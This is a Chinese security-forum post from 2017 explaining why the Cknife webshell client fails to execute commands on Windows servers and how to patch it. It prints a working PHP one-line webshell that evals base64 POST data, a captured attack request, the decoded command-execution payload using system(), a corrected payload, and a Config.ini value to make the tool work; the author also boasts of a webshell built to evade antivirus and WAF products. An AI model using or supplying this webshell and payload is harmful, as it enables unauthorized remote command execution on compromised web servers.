Cknife的shell无法执行命令原因以及解决

lz1y / 2017-08-03 08:07:00 / 浏览数 3906

无论我拿到什么样的shell。使用cknife使用shell都是

哇，气死人了。

昨晚写出来了配套的过狗过D盾过360一句话木马，也把Cknife的数据做了加密。

然而，这东西根本无法好好使用啊！

测试一句话（服务端）：

```
<?php eval(base64_decode($_POST['a']).';');
```

于是给Cknife,连接shell,打开burp抓包

这是执行"whoami"时候的请求，没有返回的报文。

```
POST /test.php HTTP/1.1
User-Agent: Java/1.8.0_121
Host: localhost
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 598
Connection: close

a=QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw== &action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCg
```

本地模拟了服务端处理客户端请求的场景

```
<?php

//■■■■■■■
$_POST['a'] = 'QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw==';
$_POST['z1']='Y21k';
$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0=';
$_POST['action']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2Vj


//■■■
eval(base64_decode($_POST['a']).';');
```

然后Base64解码

```
<?php
$_POST['z1']='Y21k';
$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=';
eval('
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";
system($r." 2>&1",$ret);
print ($ret!=0)?"ret={$ret}":"";;
echo("|<-");die();
');
```

这就通过短短一句话木马来做事情的秘密了。

特么的！最坑的地方知道是什么吗！我找了一晚上！

```
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
```

```
system($r." 2>&1",$ret);
```

看似很正常对吧？

$p = ‘cmd’;

$c= ‘whoami’; (举例)

>$r="{$p} {$c}";

然后system($r);

一切都很完美吧？

那你就错了，因为

呵呵，所以shell环境是Windows的时候有可能发生这种低级问题，

你！根！本！执！行！不！了！命！令！

解决起来也很简单

明文修改部分就行了！

```
<?php
$_POST['z1']='Y21k';
$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=';
eval('
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$s}";
system($r." 2>&1",$ret);print ($ret!=0)?"
ret={$ret}
":"";;echo("|<-");die();
');
```

实际操作只需要

打开c刀的Config.ini文件,查找

php_shell=

修改成

```
PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmVjaG8o
```

就行了，然后重新打开一次C刀。大功告成。

点击收藏 | 1 关注 | 1

[上一篇：云悉指纹 - 可能是目前为止最用心...] [下一篇：《docker入门指南》]

1. 0 条回复
   - 动动手指，沙发就是你的了！

目录